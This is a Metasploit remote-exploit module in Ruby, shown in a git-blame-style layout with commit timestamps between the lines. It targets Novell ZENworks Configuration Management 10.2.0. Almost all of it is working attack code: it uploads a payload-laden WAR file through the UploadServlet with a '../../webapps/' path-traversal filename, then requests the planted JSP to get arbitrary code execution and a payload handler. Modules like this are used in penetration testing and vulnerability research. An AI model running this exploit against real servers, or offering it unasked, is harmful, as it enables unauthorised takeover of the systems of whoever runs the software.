2010-06-04 13:36:29 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-06-04 13:36:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
2010-07-12 23:25:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Exploit::EXE
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Novell ZENworks Configuration Management Remote Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a code execution flaw in Novell ZENworks Configuration Management 10.2.0.
|
|
|
|
By exploiting the UploadServlet, an attacker can upload a malicious file outside of the TEMP directory
|
|
|
|
and then make a secondary request that allows for arbitrary code execution.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '63412' ],
|
|
|
|
[ 'BID', '39114' ],
|
|
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-078/' ],
|
|
|
|
[ 'URL', 'http://tucanalamigo.blogspot.com/2010/04/pdc-de-zdi-10-078.html' ],
|
|
|
|
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7005573' ]
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ java linux win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Java Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Platform' => 'java'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[ 'Windows x86',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[ 'Linux x86', # should work but untested
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Mar 30 2010'))
|
|
|
|
end
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Generate the WAR containing the EXE containing the payload
|
|
|
|
app_base = rand_text_alphanumeric(4+rand(32-4))
|
|
|
|
jsp_name = rand_text_alphanumeric(8+rand(8))
|
2010-11-11 23:01:35 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
|
|
|
|
'method' => 'POST',
|
|
|
|
'data' => war_data,
|
|
|
|
'headers' =>
|
|
|
|
{
|
|
|
|
'Content-Type' => 'application/octet-stream',
|
|
|
|
}
|
|
|
|
})
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
select(nil, nil, nil, 20)
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (res.code == 200)
|
|
|
|
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
|
|
|
|
send_request_raw(
|
|
|
|
{
|
|
|
|
'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
|
|
|
|
'method' => 'GET',
|
|
|
|
})
|
|
|
|
else
|
|
|
|
print_error("Denied...")
|
|
|
|
end
|
2010-06-04 13:36:29 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
end
|
2010-06-04 13:36:29 +00:00
|
|
|
|
|
|
|
end
|